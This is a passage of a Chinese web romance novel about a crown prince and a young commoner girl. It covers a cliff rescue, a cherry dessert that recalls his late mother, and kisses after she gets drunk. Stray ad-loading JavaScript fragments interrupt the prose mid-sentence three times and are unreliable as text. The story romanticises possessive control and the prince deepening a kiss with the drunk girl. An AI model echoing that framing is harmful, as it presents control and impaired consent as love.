两个人在树林越走越深,眼见就要走到树林边缘,可是还是没有找到江露染的身影,南风心中越发焦急,小姑娘你倒是快点出来啊,你要是不出来,殿下不知道会做出什么样的事情来。 心中正焦急着,两人同时听到树枝折断的声音,就在附近。 很快,便听到江露染的呼救声,谢知寒立刻感知到江露染的方位,很快就找到那个粉色的身影。 眼看小姑娘就要坠落下去,她的裙角在风中飞扬,像只脆弱的粉蝶。 谢知寒立刻飞身而上,用尽全力将小姑娘抱在怀中,只要慢一下,她就要跌到悬崖里了。 怀中的江露染紧紧闭着眼睛,浑身发抖,似乎在害怕。 原来她也知道害怕,背着他做出如此大胆的事情,可见这些天他是过于宠着她了。 幸好自己来的及时,若是来晚一些,后果他简直不能想象。 自己都还没有发话,这个始作俑者竟然开始害怕了?她现在才知道害怕,是不是有点太晚了。 谢知寒稳稳地抱着江露染下来,小姑娘此时才睁开眼睛,看到眼前的谢知寒很是不可置信。 “殿下,你怎么来了?” 谢知寒面沉似冰霜,看上去像是在生气。 江露染回想起方才自己差点坠崖的情景,立刻明白到殿下是在因何而生气,这次的确是自己做错了,她不应该私自跑到这么危险的地方来。 至少也应该先和殿下说一声。 江露染细白指尖捏着他的衣角,头垂得低低的,一字一句道:“殿下,我错了。” 谢知寒任由她动作,面上的冰霜丝毫不改,语气更是加重了几分,使人听上去有些发寒。 “你倒说说看,自己这次错哪了?”语气是从未听过的严厉。 江露染第一次见谢知寒如此模样,吓得不敢开口说话,可是殿下还在等着自己。 “我不该自己偷偷跑出来...” 谢知寒语气仍旧冷硬:“还有呢?” 还有?江露染想了想:“不该瞒着殿下...” “还有呢?” 江露染看了一眼一侧站着的南风:“不该让南风欺骗殿下...” “还有呢?” 还有?江露染挠了挠头,该说的都说了啊...还有...什么? 眼见江露染沉默在原地,长长的睫毛上沾了晶莹的泪珠,小姑娘的脸颊很是苍白,像是天边的云,苍白且易碎。 谢知寒心中终是生出了一丝不忍,她如今会做出这样的事,也都是因为自己这些天太过于娇纵着她了。 他一字一句缓声说道:“我记得曾经跟你说过,要将自己的安危放在心上,这么快就忘了吗?” 他的声音有些沉,落到江露染身上有些重,她猛地抬起头来,眼神中满是无措,是啊,殿下曾经对自己说过如此重要的话,她怎么可以忘记了?怪不得殿下会生气。 她无措地撵着手指,指尖都开始泛出隐隐的薄红,声音低沉,带着很深的自责,小声道:“殿下,我错了。我以后都不会这样做了。” 谢知寒借着昏黄的天色看到她白嫩脸颊上划过一行清泪,他本意是想提醒她,什么都比不上她的性命重要,哪怕是他自己,也不能让她付出生命的代价。 她是他救下的,她自然没有随意践踏她自己性命的权利。 她的命是他的。 她是属于他一个人的。 谢知寒伸出指尖将她脸颊上的泪珠拭去,本意也不是让她难过,只是想让她记住。 以后不可以再做出让他担心的事情来。 谢知寒轻轻抬起她的下巴,让她直视着自己,道:“孤以前怎么不知道晓晓这么爱哭?” 他的指尖有点凉,像快质地上乘的冷玉,覆在她尖尖的下巴上,令她躲避不得。 殿下在自己面前一直是温润的,善解人意的。 这几乎是江露染第一次看到殿下如此强势,不近人情的样子。 此时倒是好些了,方才的样子真叫人害怕,他看着她时是那样冷漠,语气也是那样冰寒。原来殿下真正生起 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江露染一遍一遍在谢知寒身边重复,表示自己记住了,并且永远也不会忘。 谢知寒淡淡瞧她一眼,看着她很快又开始跳脱的模样也没有再说什么。 南风突然感觉自己在一边有些多余。 眼看江露染很快又开始像只兔子一样蹦蹦跳跳,谢知寒紧紧牵住她的手腕,以防她遇到什么危险。 此时天色越来越暗,天边传来几声雷鸣,看样子很快就要下雨了。 可是出树林的路还有好久,一时半会儿应当是走不出去了。 天边的阴云浓密起来,不到一刻钟,树林中就开始落下雨来。 雨点打在树叶上,发出急躁的声音,雨滴又冷又凉。 谢知寒将自己的衣服披在江露染身上,将她重新包裹的像个粽子,南风很快寻找到一颗可以避雨的大树,于是三人都去了那棵树下避雨。 眼见殿下的衣服被雨滴沾湿,江露染动了动,想将殿下的衣服还给殿下,谁知才刚刚动了动手指,就被殿下按住了。 “你伤还没有好,不必担心我。” 可是,殿下又受凉。 好似看穿了江露染心中的想法,谢知寒缓缓道:“你若是今日安分些,便没有这许多事情了。” 说的也是,江露染有些失落,可是很快想到包裹里都是摘得新鲜樱桃果子,立刻又振奋起来。 她细白手指解开小包裹,取出里面一个鲜红欲滴的果子,对着谢知寒道:“殿下,快尝尝,这果子一定很甜。” 谢知寒看着她雪白手心里那枚鲜红的果子,这就是今日令她费劲心机,纵使欺骗他,也要走到如此遥远之地的罪魁祸首。 老实说,他并不想看见它。 一想到江露染因为这些果子差点掉到万丈深渊他就生气。 可是江露染的眼眸中闪烁着明亮的光,让他舍不得拒绝。 良久的对峙之后,谢知寒败下阵来,终于拿走她手心的红色果实。 江露染眼眸中含着希冀。 “殿下,味道怎么样?” 21. 第 21 章 樱桃果子入口有点涩,但有回甘。 是很甜的。 南风在江露染将果子拿出来的时候就将头转过去了,此时忽然看见江露染白嫩手心躺着的鲜红果子,很快反应过来江露染是什么意思。 此时天色已经彻底暗了下来,周围一片昏暗,也没有其他的食物吃,这个樱桃果子刚好可以用来充饥。 南风接过尝了一口,果真是很甜。 三人在树下眼看着雨滴越下越大,还好这颗树木的叶子很是严密,可以遮挡住不少的雨水。 江露染将谢知寒的大衣裹得紧紧,困意很快涌上来,但是看到殿下坐的很是端正,自己困了倒是很不好。 于是坚持着,坚持着,终于还是没忍住,睡了过去。 眼看江露染的身体摇摇欲坠,像片风中摇摆的叶子。 谢知寒很快揽住她的腰,将她抱过来,小姑娘的呼吸沉稳而绵长,看来她已经睡熟了。 此时的天气更加昏暗,这场雨也不知道什么时候会停。 她的伤才好,就走这么远的路,而且还差点落入悬崖,谢知寒伸手去探她的脉搏,还好,晓晓只是受了点惊吓,身体并没有其他的症状。 谢知寒牢牢将江露染控制在自己怀中,在心中想以后可不能让她继续做这么危险的事情。 谢知寒的视线移到南风身上,南风很快察觉到,因为殿下的目光实在是太有压迫感了。 他深深知道今日的确不该放江露染出去,若是他和殿下晚来一步,江露染就会遭遇不测。 他快速走近向殿下认错:“属下日后一定认真看着江姑娘,必定不会让她遭受到危险。” 看着他诚恳认错,并且做出承诺,谢知寒压迫性的目光才缓缓移开。 大概过了一个时辰以后,这场雨才逐渐停了下来。 天色早已沉了下来,树林中的温度更是寒冷无比,是没有办法在这里过夜的。 就算他们两个可以,江露染也是不行的,她身子本来就虚,若是在这里受了风寒她的身子是受不了的。 谢知寒紧紧揽着江露染,小姑娘在他怀中安静乖巧的像只猫。 他就这么抱着江露染,一步一步走出了树林。 南风本来是想帮助一下殿下的,毕竟出了今天的事他也是有责任的。 但是看着殿下的脸色,是那样的珍视,不用想也知晓殿下是不会同意的。 谢知寒走的很稳,生怕已经睡熟的江露染因为自己醒过来。 她今日也受到了不小的惊吓,应当有安稳睡觉的权利。 谢知寒以前从未这样抱过人,江露染在他怀中,一点也不重,相反,他觉得她太轻了,像一片叶子,被风一吹好似就可以飘走。 当抱着她一步步走上那高耸的台阶,谢知寒一点也没有觉得晓晓是负担,相反,晓晓在自己怀中的时候他感觉到了无限的安心。 回到医馆时已是深夜,谢知寒将江露染安顿好,自己也回了房间。 一阵雨过后,天气放晴,天空上显露出点点星光,谢知寒回房间的路上看到星光,首先想到的却是江露染的眼睛。 江露染醒过来的时候已经是次日清晨,她逐渐回想起昨晚的事情,想到自己竟然在殿下面前睡着了,不知道殿下会不会因为这个继续生自己的气。 对了,还有樱桃! 江露染连忙去看包裹里她采回来的樱桃果子,颗颗饱满,安安分分的呆在包裹里一点也没有受到压迫的迹象。 今日就将这些果子做成甜羹给殿下赔罪,殿下一定会开心的! 说做就做,江露染打开食谱,按照食谱的方法一点点进行步骤,最终在午膳之前将樱桃凝露蜜做了出来。 江露染自然是甜羹拿给殿下,谢知寒正在房间里读一卷书,修长冷白的指节握着书卷看的很是认真,听到脚步声,谢知寒像门外看去。 只见江露染今日穿了一身天青色的衣裙,衬得她整个人很是清新,如雨过天晴。 她的手心端了一份瓷白的器皿,此时正眉眼弯弯地朝自己走来,行动间,还能闻到少女身上清甜的香味。 谢知寒缓缓放下书卷,墨黑的瞳仁盯着眼前的姑娘,江露染一直将手中的甜羹捧到谢知寒面前,像是捧着自己的一颗心。 非常小心翼翼。 江露染甜声道:“殿下,这是樱桃凝露蜜,你快尝一尝。” 眼前的甜羹散发出很熟悉的馨香,自从母后离开后就再也没有人给自己做过这道甜羹了,就算是宫中膳房做的,谢知寒也总觉得是差了些味道。 总而言之,自从母后离开,他再也没有吃过这道甜羹。 是不能,也是不敢。 谢知寒看着眼前那道甜羹良久,终是不忍心辜负江露染那道热切的眼神,在江露染殷切的注视下,缓缓尝了一口。 昨日听到南风说的,他以为她是一时心血来潮。 其实即便不用做这道甜羹,他也会毫不犹豫吃下她做的任何东西。 甜羹味道馨香,带着樱桃的甜味,但却不会觉得腻,最重要的是,这道甜羹和母后曾经做过的味道一模一样,就连宫中膳房那点不足也被弥补了过来。 谢知寒仿佛回到了母后还在的时候,那个时候,不会难过,不会悲伤,摔倒了母后也会将自己轻轻抱入怀中。 那个时候,难过了就可以找母后,母后总会给他做这道甜羹。 那个时候,他还不是自己一个人。 谢知寒沉默良久,看着这道甜羹,好像看到了母后那双温柔如水的眼睛。 江露染非常忐忑,看着殿下一时沉默,屋内落针可闻。 殿下的表情看不出喜怒,只是平静。 越是这样,江露染的心中越发敲起小鼓,这道甜羹一定失败了。 她有些落寞,眼角眉梢都弥漫出挫败,声音有些闷,像是昨晚欲雨的天色。 “殿下,是不是很不好吃?” 江露染看着谢知寒的脸色有些紧张,生怕殿下说出不好吃这三个字。 但是谁知谢知寒只是淡淡地看了她一眼,眼神中并没有嫌弃这两个字,他的瞳仁墨黑,看着她的神情很是专注,江露染像是沉浸在一片温柔的海洋。 江露染情不自禁地沉迷,殿下... 谢知寒看着她道:“怎么会?晓晓做的很合我的口味。” 岂止是很合,简直就与母后做的味道一模一样。 江露染本来还有些担心的样子,听到谢知寒如此说,瞬间变得眉开眼笑,眼睛弯起来像枚小小的月亮。 她的声音也是软软的,听上去像颗甜甜的蜜糖。 “殿下喜欢就好啦!” 看着谢知寒很喜欢,江露染心中也是很开心,虽然她还没有尝到甜羹的味道,但是看到殿下微笑,她心中比吃了甜羹还开心。 昨日虽然危险,但是真的很值。 正想着,江露染突然感觉到唇边一凉,原来是殿下将勺子递到她的唇边,江露染下意识张开口,舌尖碰到了甜羹,甜甜的感觉瞬间传遍了全身,这甜羹果真是很好吃呀。 谢知寒见江露染将勺子中的甜羹全部吃了,又塞了一勺给她。 江露染呆呆地吃着殿下喂过来的一勺又一勺,心想明明自己才是希望殿下全部吃完的那个,怎么此时此刻完全反了过来。 这碗甜羹几乎要被自己吃完啦。 “唔,殿下我不能再吃了。”她口中含混着尚未咽下去的甜羹,说出口的话也有些含混不清。 听到谢知寒耳中莫名有些可爱。 江露染将口中的甜羹咽下去,对着谢知寒道:“殿下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这是给你的。” 听到她如此说,谢知寒微微挑眉,这才缓缓收回在她口中的勺子。 眼看殿下将甜羹都吃完了,江露染回去之后又给大夫和小童以及南风做了同样的一份。 大夫看着眼前那碗甜羹,捋了捋胡须,笑着道:“原来我们也有份?” 明明大夫只是普通的调笑话,但是江露染脸颊还是微微泛了红。 大夫的意思怎么好像是,她眼中只有殿下,没有其他人一样,明明才不是这样! 大夫眼看江露染害羞了,也不再逗她,拿起勺子尝了一口,眼睛中放出光芒,果然很好吃! 没有想到自己这份只是连带着的心意都做的这么好,大夫看江露染越发满意了,这可真是世上最可人心的小姑娘,他将当初那句话收回。 什么叫江露染好眼光看上了谢知寒,明明是谢知寒好眼光在人群中发现了江露染。 什么时候他俩正式在一起了,他可一定得去喝杯喜酒。 南风也收到了江露染亲手做的甜羹,南风一向对江露染的厨艺没抱什么太大的信心,但是这次的甜羹倒是出乎了南风的意料,真是特别的美味。 与宫中膳房做的简直不相上下。 谢知寒看着众人夸奖江露染,面色仍旧淡淡,无人之时,他对着江露染重复:“以后切忌不可做出上次那般危险的举动。” “放心吧,殿下,以后都不会了,我发誓。”江露染对着谢知寒笑的宛如一汪春水。 江露染的伤已经痊愈了,谢知寒计划三日后回宫。 一提到回宫,江露染心中就有些沉闷,她本来就来自民间,性格很是跳脱,她没有去过宫中,很担心适应不了宫中的生活。 若是她自己一个人还好,可是她身边还有殿下。 若是殿下因为自己的跳脱举动受罚,她将是不能忍受的。 可是又舍不得离开殿下,一想到殿下自己一个人在深宫之中,受到怀疑,受到非议,她的心里就非常难受。 “害怕了?”清沉的声音响起,谢知寒看到她的脸色就猜到她在想些什么。 若是在前些天,她露出这种烦忧的神色他一定不会将她带回宫中,但是今时今日,她即便是后悔了也不行。 因为谢知寒发现,自己已经离不开她了。 她到底是何时进入他的心,或许是那次挡箭,也或许是上次她在梦中对自己说喜欢,也或许是她冒着生命危险为自己做甜羹。 但无论是哪一种,江露染这三个字都已经深深烙印在了他的生命中,他的血液里。 也或许是无关任何一件事,只是看到她这个人,他就已经离不开她了。 他不会放开她的。 听到殿下清沉的嗓音,江露染回过神来,此时他俩呆的小亭子中不知何时下起雨来,雨声淅淅沥沥落下来,打湿了院中的花草。 带来一片冷清和寒凉。 谢知寒的眼眸一贯的墨黑,宛如深静的潭水,江露染摇摇头:“有殿下在,晓晓不怕。” 只是,她犹豫着,最终还是说出口:“只是,害怕自己不习惯,也害怕给殿下添麻烦。” 谢知寒修长的手指抬起她的下巴,让她直视着自己,那双一贯活泼的眼眸中少见的出现了惶恐。 谢知寒的声音就响在江露染耳畔,他的声音有些淡,像是冬日一场寂静的落雪,但是没有人会忽略掉他的话。 “孤不会让你受到非议。” 自从来到医馆,谢知寒很少会用自称,这还是江露染第一次听见殿下对自己如此信誓旦旦。 她本来只是有些担心,但是她知道自己会处理好。 而今有了殿下这句话,她的心就彻底安定了下来。 既然是殿下对自己的许诺,那么她就应该相信殿下才是。 22. 第 22 章 近日天气晴朗,谢知寒一行人很快就要离开医馆,大夫为他们饯行。 本来就是他们得到了大夫的恩德,该是他们感谢大夫,但大夫却拒绝了谢知寒的请求。 只是说:“举手之劳,不足挂齿,若是你俩成婚之时也想着老朽就好。” 江露染本来脸皮就薄,听到大夫如此说,很是不好意思,脸颊立刻染上微红。 大夫究竟在说些什么,她和殿下怎么会做到那一步,况且当着这么多人的面,大庭广众之下说这个,真的是...真的是...令她无措。 谢知寒却神色依旧,俊美无俦的面上看不出半分不适,大夫的话似乎没有给他带来任何影响。 他付给大夫一笔数量不小的银钱,用来表达对大夫的谢意。 大夫看着几人道:“我可不是只为你们几人饯行,同时还要庆祝我的小徒弟终于出师了。” 一边的小童看着所有人的目光落在自己身上,突然害羞起来,微微低下了头。 南风很是爽朗地走到他身边,对着小童的肩膀重重地拍下。 “恭喜你,终于可以成为一名好的大夫了!” 这些天小童的辛苦南风也是看在眼中,看到他终于得到了老大夫的认可,南风自然也是开心的。 小童本来还处于羞涩之中,但是谁能料想,南风在他肩上如此一拍,很疼。 平时他俩就是互相逗弄,如今更是恢复了以往的模样,小童反应迅速地回击,同时打的南风措手不及。 场上的氛围很快欢乐起来。 大夫准备了清酒,准备杀掉牛羊用来庆祝,很快一切准备就绪,也很快到了夜晚。 天空之上升起一轮皎洁的月亮,很是明亮,月光洒落下来。 众人在月光之下饮酒,好不痛快。 谢知寒稳稳拿着酒盏,清酒的香味正从盏中传来。 江露染看着殿下一身白衣,青涩的酒盏在殿下修长如玉的指中,江露染不由自主看了一眼自己面前的酒盏,可以隐约闻到清酒的芳香。 既然殿下喝了,那么自己一定也是可以喝的吧。 江露染尝试着向酒盏摸去,手指才碰到酒盏一点,面前的酒盏就被谢知寒拿走了,他白色的衣袖在她面前一闪而过,留下一阵好闻的檀香。 江露染立刻抬眼去望着身边的人,眼神带着不明所以。 谢知寒眼神没有看她,只是望着手中的酒盏,声音却非常清晰,准确无误地向江露染传来。 因为饮了酒,他的声音不如平时清透,声线有些沉,还有些哑,尾音轻轻地向下压。 听上去好似带了小钩子,钩的江露染心中有点痒,想听他这样一直说下去。 月色下,谢知寒缓缓开口,一字一顿道:“你还小,不可以饮酒。” 江露染很想跟他反驳,她哪里小了,他明明就是故意不让她饮酒。 可是此时此刻他的样子实在是好看的紧,江露染一点也不想破坏这个氛围。 此时的殿下,有些慵懒,有些肆意,是她从来没有见过的殿下。 江露染还想再偷看一会儿时,谢知寒轻轻启唇,声线磁沉,有些哑,却意外的好听。 “看够了吗?” 江露染:...他到底是什么时候发现她偷看他的。 被当场抓包,江露染有一点不好意思,恋恋不舍收回落在谢知寒身上的目光。 视线再次落到距离她不远的酒盏上。 长到这么大,她当真是一次酒也没有饮过。 小时候,娘亲和爹爹就一直严厉地教导自己,说她还小不能饮酒,语气和殿下一模一样。 可是现在她已经长大了,不再是当初那个跟在别人身后的小孩子了。 为何娘亲和爹爹以及殿下总是不让自己饮酒,而他们却可以畅饮呢? 自己与他们是一样的,江露染心想,自己也一定要尝尝这清酒的味道,好让她知晓,到底是什么味道才能爹爹和娘亲以及殿下饮的如此畅快。 江露染一直偷偷观察着谢知寒的动向,终于趁着殿下不注意,江露染拿过不远处的酒盏,很快抿下一口清酒。 清酒入口,有些微辣,但是隐约又有点清苦,味道也不怎么样,一定是自己饮的太少了,江露染还想再尝一尝,手中的酒盏倏地被人拿走了。 那人的手指有点凉,像是一枚冷玉般。 江露染呆呆地看着面前的人,他五官也像玉石一般好看,透着点清冷和薄凉,但是望着自己的眼神却很专注,黑色的瞳仁闪着光,比天上的星星还要好看。 这个人怎么能生的这样好看。 江露染情不自禁伸出手去碰触他的眉眼,口中低声呢喃:“真...好看。” 谢知寒望着江露染已经有些迷惘的眼神,按住她妄想胡来的手指,神情有些无奈。 他不过就是一眨眼的功夫,竟能被她钻了空子去。 但也真的不知,小姑娘是一杯倒,不对,她方才不过就是饮了一口而已。 江露染已经浑身无力,整个倒在他怀中。 她的身体又软又轻,简直是柔若无骨,她的手还在他怀中不规矩地乱动,眼神却是越发无辜,仿佛根本不知道自己都做了些什么。 谢知寒握住她乱动的手,揽住她纤细腰肢的手也微微用力,想让她安分些。 江露染只觉得眼前的人是那样好看,仿佛是玉雕琢的那般,她只想靠他近些,再近些。 可是腰间有轻轻的桎梏,一直不让她继续靠近,江露染有些着急,这么好看的人若是让他就这样走了,岂不可惜。 江露染不断在他怀中扭来扭去,谢知寒清晰的感知到她肌肤上的温热,以及来自她身上独一无二的清甜。 谢知寒自诩从来都是不近女色,清心寡欲,但是此时他竟然有些意动,看着怀中不安分的少女,他的喉结上下滑动。 有些莫名的燥热。 不能再这样下去,这是谢知寒脑海中唯一的想法。 谢知寒用自己身上的氅衣严实得盖住江露染,旁人看不到一丝少女的失态,只能看到她氅衣之下一缕随风飘扬的青丝。 谢知寒抱紧她,向着江露染的房间走去。 江露染只觉头脑昏沉,她能感觉到有人在带着自己向前走,她的眼前一片黑暗,鼻尖传来一阵好闻的檀香味。 她似乎是在什么人的怀里,那人的怀抱很温暖,怀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱中也有浓郁的檀香,那人似乎还在搂着她的腰,力道不轻不重,很是舒服。 江露染想到方才在自己面前一闪而过的如玉的脸庞,会是他吗? 那个比月亮还要好看几分的郎君。 江露染很想抬起头看看到底是不是那个人,她这么想自然也就这么做了。 谢知寒感觉到怀中安静下来的少女突然小幅度的动起来,他刚想告诉她,不要乱动,小心吹了冷风。 少女已经撩开他的衣裳,从他怀中抬起头来,望着他的眼神及其明亮,瞳仁中汪着盈盈的水意。 对着这样的眼瞳,谢知寒不由一愣,就是这一愣神的功夫,江露染已经将他的神色看了个遍。 眉目如琢,渊渟岳峙。 果然是方才那个自己看上的郎君。 真好,可是她还想要更好。 江露染很快凑近他,轻轻在他唇上吻了下去。 少女的唇瓣很软,带着些酒的清甜,但同时向他袭来的还有她身上的香味,一寸一寸侵袭到他的心中,让他永生难忘。 少女眼见他没有动作,还以为是自己吻得不好,于是越发主动起来。 谢知寒很快反应过来,拥着她的脑后,加深了这个吻。 这是他第一次与人接吻。 而且这少女还是他的心爱之人。 谢知寒紧紧拥着少女,浅浅的月光照耀在二人身上,带来一片银霜。 两人的呼吸交织在一起,发丝也随着风交织在一起,两个人深情地拥吻,不分彼此。 良久后,才依依不舍地分开。 谢知寒望向江露染的眼睛,他的瞳仁很亮,带着说不上来的意外,声音也是少见的沾上强势。 “晓晓,我是谁?” 江露染只看见眼前这个美的令人心惊的郎君问自己是谁,她当然知道他是谁,想也不想便脱口而出。 “你是天底下最好看的小郎君啊!” 当然是属于我的小郎君。 听到少女口中完全没有逻辑的语句,谢知寒失笑,他到底为何要跟一个醉酒的人计较。 反正,他们还有很长的时间和未来。 他会无数次对她好。 谢知寒揽紧怀中的少女,推开了房间的门。 将江露染放到床上,盖好被衾,江露染仍旧眨着一双大眼睛望着他,最后看到他起身,她很是不舍。 “你要走了吗?” 谢知寒明知她此时醉的不省人事,说的话也是可以不用理睬的。 但谢知寒还是认认真真回答了她的问题。 “我是要回去了。” “那你还会回来吗?你是...要把我抛弃了吗?”带着犹豫和迟疑,少女的声音也越来越低。 谢知寒握住她的手,稍稍用了些力,温度一点点传到江露染的手心。 “我永远不会离开你的,晓晓。” 江露染虽然脑子有些迟钝,但是这句话她还是听懂了的。 他说不会离开自己,这个令她一眼就倾心的人说他不会离开。 江露染反手握住他的手指,语气糯糯,眼神却很明亮。 “说过的就一定要做到哦!” 23. 第 23 章 谢知寒明明知道身边的少女已然醉倒,即使他说出什么承诺她也会不记得。 但是谢知寒还是一个字一个字地说出口,语气珍而重之,像是对待世上最美丽的一颗宝珠。 “当然对你说到做到,晓晓。” 他给她的是一个储君的承诺,自然说到做到,一诺千金。 此时外面已经月上梢头,夜色渐深,谢知寒握住江露染细白的手指,将它塞入被衾中,而后轻轻点了点她的额头,他指尖有些凉意,让江露染觉得很舒服。 “你好好休息,明日我再来看你。” 江露染望着他的白色背影,一直到他走出去。 而后轻轻闭上了眼睛,她已经答应了他要好好休息,那么她就会认真做到。 小郎君,今晚我会梦到你的。 江露染闭上眼睛前想。 谢知寒回到房间,嘱托了江露染要好好休息,他自己这一夜却没怎么睡好。 闭上眼睛,就是小姑娘直直望着他的眼眸,他以往明明见过无数双眼睛,可是江露染这双眼睛却一直牵动着他的心神。 她笑,他也跟着开心。 她哭,他也跟着难过。 谢知寒不是不通世故的人,他知道自己这种状况代表了什么。 他动情了。 他对江露染有情。 他喜欢上一个来自宫外偶然遇到的小姑娘。 他明明知道这是不对的,他们两个的前路会困难重重,理智在告诉他,要放弃,要停下,不可以继续沉沦。 可是情绪却层层叠叠地涌上来,一遍又一遍地告诉他。 他喜欢她,他想要她,他想明日后日,以后的每一日都和她在一起。 他想和她有数不清的将来。 谢知寒一夜都在做抉择,最终情绪压过了理智。 他不能背叛自己的心,他是储君,他是太子,他是全天下最尊贵的人。 那么他自然有权利得到心爱之人。 就算再难,他也会用手中利剑劈开一条路。 他和她共有风华。 江露染醒来的时候,头脑仍旧昏沉,她扶着额,想了半天,昨日的记忆像流水一般涌进来。 大家在举办宴会,大夫做了好多好吃的,她想去饮酒,殿下不让自己饮酒。 江露染脑海中浮现谢知寒一闪而过的白色衣袖,上面用银线绣了雅致的花纹。 后来呢,后来发生了什么? 江露染努力回忆,之后的记忆便纷至沓来。 她背着殿下偷偷饮了一口酒,而后...而后倒在殿下怀中,殿下没有将自己推开,而是紧紧地抱住了。 可是她在殿下怀中仍旧不安分,老是用手指去触摸殿下一贯清隽的眉眼,殿下忍无可忍,好像要把自己推开,但他终究没有。 可是自己仍旧很不老实,好像还...好像还主动吻了殿下。 想到这里,江露染立即用手捂住脸,天啊,她昨晚究竟都做了些什么。 殿下那样的人,高山仰止,如松般高洁,她怎么可以主动去亲吻殿下,即使心里有这个想法,也应该用力忍住才是啊。 她怎么可以轻薄了殿下。 江露染觉得她整个人像火苗一样烧起来了,这下该如何面对殿下。 要不然,戴个头套去见殿下好了。 正想着,房间门被人推开,发出轻轻的响声。 江露染余光只看见一身白衣,那白衣蔓延出一身清冷的檀香。 江露染立即用被衾捂住头,看不见,看不见,她看不见殿下,殿下也看不见她。 这样两人都不会尴尬了。 谢知寒缓步走到江露染身边,看着她的模样,很是清楚她的心中所想。 “此时知道害羞了?昨晚倒是吻得那般主动。” 江露染隔着一层被衾也依旧可以将谢知寒的话听得清清楚楚,她用力捂住耳朵,企图掩耳盗铃。 “殿下,别说了。”她的声音里少见的透露出扭捏。 谢知寒倒是得趣起来,昨日主动成那样倒也不见她害羞成如此模样,不若再去拿些酒来。 自己方才都想了些什么奇怪的。 谢知寒将方才脑子里古怪的想法屏退,手指稍稍用了些力气,将被衾拉开。 江露染仍旧不敢直视谢知寒,小脸很红。 谢知寒拉她起来,捏住她的下巴让她直视着自己。 “不必不好意思,毕竟昨日孤也是”他顿了顿,继续道:“很开心的。” 江露染迟钝的反应过来,殿下他方才说什么。 殿下方才说他也是很开心的。 江露染的眼眸立即明亮起来,染上一抹水色。 “殿下。”她轻轻地呼唤他,语气很是欢愉。 她的唇瓣粉嫩,像是春日刚刚盛开的桃花,周身弥漫的都是她的香味,很清甜。 谢知寒突然生出不合时宜的想法,他自己好似被这香味俘获。 他彻底属于她了。 谢知寒缓缓凑近,俊美无俦的脸庞在江露染眼前一寸一寸放大。 江露染的眼睛也逐渐睁大,殿下他这是想要做什么? 她的心跳也逐渐加快,在空荡的身体李仿佛可以听到回声。 殿下的声音从耳畔处传来,带来一阵奇异的蛊惑。 他说:“乖,把眼睛闭上。” 江露染眨了眨眼睛,殿下他不会是要轻薄自己吧。 下一瞬,谢知寒的唇就轻轻覆了上来。 江露染可以清晰地看到殿下长长的羽睫,覆盖在他温润的眼眸之上。 江露染仍旧没有反应过来,殿下今日好像有点不太正常? 正思忖着,耳边传来清沉的声线。 “晓晓,闭上眼睛。” 江露染静默片刻,终究还是闭上了眼睛。 毕竟面前这人是殿下啊,她这么可能忤逆他的意思。 一吻结束,江露染头脑仍旧有些昏昏沉沉的。 殿下今日是否也太主动了些? 或许是因为昨日她轻薄了殿下,所以今日殿下要连本带利的讨回来。 一定是这样。 谢知寒不知晓江露染心中的弯弯绕绕,他只知道,只要她在自己面前,他就会很心安。 一如此时此刻。 谢知寒望着眼前人,一字一句道:“还羞不羞了?” 殿下都如此主动了,那自己自然不害羞了,江露染摇摇头。 江露染视线下移,看到谢知寒腰间仍旧系着自己绣的那个香囊。 只是时间有些久了,香囊有些脏了。 谢知寒顺着江露染视线看过去,也看到那只香囊。 谢知寒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想一直系着这只香囊,这就代表他已经有了心上人。 谢知寒如玉的手指轻轻触碰腰间的那只香囊,香囊散发出令人很舒服的香味。 江露染望着那枚香囊,殿下如此爱洁,戴这么一只略微显旧的香囊真是太不符和他的气质了。 殿下的饰物应当与殿下一样,应当是一尘不染的。 想着,江露染就将那只香囊取下,谢知寒看着江露染雪白手心那只香囊,有些不明所以。 “晓晓?” “香囊有些旧了,晓晓给殿下再做一个。” 望着眼前少女执拗的眼神,谢知寒只好同意了。 其实只要是她做的,他都会喜欢。 哪里管什么脏了旧了。 江露染的针线活不是很好,但是做一枚香囊却是足够了。 谢知寒再一旁静静地看着她。 少女的眉眼显现出异乎寻常的认真,她低下头时,额前的碎发会轻轻垂下,遮住她雪白的面颊,从他的方向只能看到她的羽睫,长的像一把小扇子。 在眼下投下一圈浅浅的光晕。 江露染仍旧挑了一片银白的布料,这个颜色与殿下很是相配。 她仍旧绣了一朵梅花,殿下总是莫名的让她想到梅花。 江露染这一愣神的功夫,锋利的针尖穿透她指尖的肌肤,雪白的指尖瞬间渗出血珠。 还没有等江露染反应过来,谢知寒已经快速走上前去,为她嫩白的指尖洒上药粉。 药粉洒在肌肤上时有些轻微的刺痛,江露染微微皱眉。 “很疼?” 江露染皱着眉看他,轻轻点头,是有点疼。 谢知寒仔细将少女受伤的指尖包扎好,而后对着江露染的指尖轻轻吹了吹。 其实他以前从未做过如此的举动,只是自己以前受伤时,母后总会这样做,看到晓晓疼的皱眉,他也就下意识地做了这种动作。 其实指尖的确是很疼,但是在殿下涂了药粉之后,就不在那么刺痛了。 她只是想逗逗他,看看殿下会做出何种动作。 江露染在脑海中幻想了无数中可能,但是没有想到殿下竟然会把自己当小孩子来哄。 她本来应当生气的,毕竟她已经不是小孩子了。 可是殿下在自己面前温柔,她怎么可能生气呢? 她只想让他再哄哄自己。 “还疼吗?” “还疼。” 谢知寒重复了几次方才的动作,观察江露染的神色,若是还疼的话,那就要请大夫过来。 江露染望着谢知寒很是关心的的表情,突然笑出声来。 “骗你的,殿下,早就不疼啦!” 江露染笑着从他怀中躲开,原来殿下竟然是如此好骗的。 谢知寒后知后觉才发现小姑娘在逗弄自己,眼神中露出无奈。 天底下也就只有她一个人敢对自己这般了。 眼看小姑娘离自己远远的,生怕她在受到什么伤害,谢知寒只缓缓道:“过来。” 江露染缓缓靠过去,这时才发现方才绣的香囊上面沾了一滴血迹,刚好就滴在那株刚刚绣好的梅花瓣上。 江露染透出失望。 “殿下,香囊不能用了。” 谢知寒将香囊拿过来,香囊沾染上她身上的香味,有一种很清甜的香。 24. 第 24 章 谢知寒低眉去看落在她雪白掌心的那只香囊,针脚相比上次有了明显的进步,但即使针脚粗糙,谢知寒也不会计较。 毕竟,那时晓晓为自己做的,其他人做的再好他也不羡慕。 